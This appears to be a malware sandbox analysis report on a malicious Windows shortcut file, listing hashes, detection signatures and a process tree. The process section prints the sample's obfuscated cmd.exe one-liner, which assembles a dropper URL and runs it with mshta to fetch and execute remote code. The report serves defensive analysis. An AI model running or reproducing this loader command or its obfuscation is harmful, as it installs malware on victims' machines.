Analysis
- max time kernel
38s - max time network
31s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 17:09
Static task
static1
Behavioral task
behavioral1
Sample
DOC-1P91M2.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-1P91M2.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-1P91M2.lnk
- Size 2KB
- Sample260803-vpczyacf59
- SHA256 6e012f1d229f2288126b88ed09cf20ebf74fde78ee0b576ca6407b2260d3a2e1
- MD5 92b79c707cde0cbce04ae77a9f067b94
- SHA1 4863bd82d54c4dc58bd1456eb2801989707327a2
- SHA512 c29b9734c14420cd71c2348a748014baa67934709f1cce58b92e01bee5559241d57e239f83599cfab17c956911ff156ec14198c727046b4378dc227e4040bae2
- TLSH T1F34106907AED41A8F2BFDE32DDBE775249BFBA125D25C61D0840C14C0922B01E537B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2448 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2448 wrote to memory of 5988 2448 cmd.exe 90 PID 5988 wrote to memory of 4136 5988 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1P91M2.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set BdH=qehsg&&set XSM=but7s&&set wL=6xarta&set KPbQ=tmpndgcqpqcqeqzbjrtttmp&set YZT=dbgxtuixikzgpnbajgddbg&set NNH=logqfqqcnnleggrphrlog&set ziBm=46tmawg&&set IQkOU=c34sb&&set Op=xthtatg1&set Ml=netaqremqmwamnet&set OMn=oldcwokfhytold&set vFlzX=cfgxduofdfizdwcfg&&set mtpm=htt@ps://@m@[email protected]@a@t@/h@/es@tagio1.@ph@p?r=39@1@469F@B5D@82DB&&start /b !ziBm:~3,1!!IQkOU:~3,1!!Op:~2,3! !mtpm:@=!&&set qVKt=done"2⤵
- Suspicious use of WriteProcessMemory
PID:5988 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4136
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